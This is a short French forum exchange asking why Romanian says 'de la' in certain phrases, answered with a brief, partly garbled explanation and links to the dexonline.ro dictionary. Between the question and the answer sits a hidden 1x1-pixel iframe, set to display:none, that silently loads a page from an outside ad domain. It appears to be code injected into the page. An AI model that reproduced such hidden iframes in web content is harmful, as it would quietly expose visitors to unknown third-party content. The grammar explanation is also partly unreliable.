Bonjour,
Pourquoi on dit:
"[este vorba de mostenirea] care se transmite de la parinti la copii" et non "de parinti la copii"?
ou encore
"Sau ceri prea mult de la femei" au lieu de "mult de femei"?
<iframe style="width: 1px; height: 1px; display: none;" src="https://yourads.website/banner/check1.html"></iframe>
"De la" peut avoir de nombreux rôles en langue roumaine.
Dans les cas écrites par vous, l'explication est: (Entrez un complément indirectement) auprès de laquelle vous avez reçu la lettre?
Chaque fois que vous avez une question ou d'incertitude, je vous recommande d'utiliser ce dictionnaire http://dexonline.ro
Tu peu trouver une réponse plus complète pour l'utilisation de "de", "la" et "de la" à cette adresses:
http://dexonline.ro/definitie/de
http://dexonline.ro/definitie/la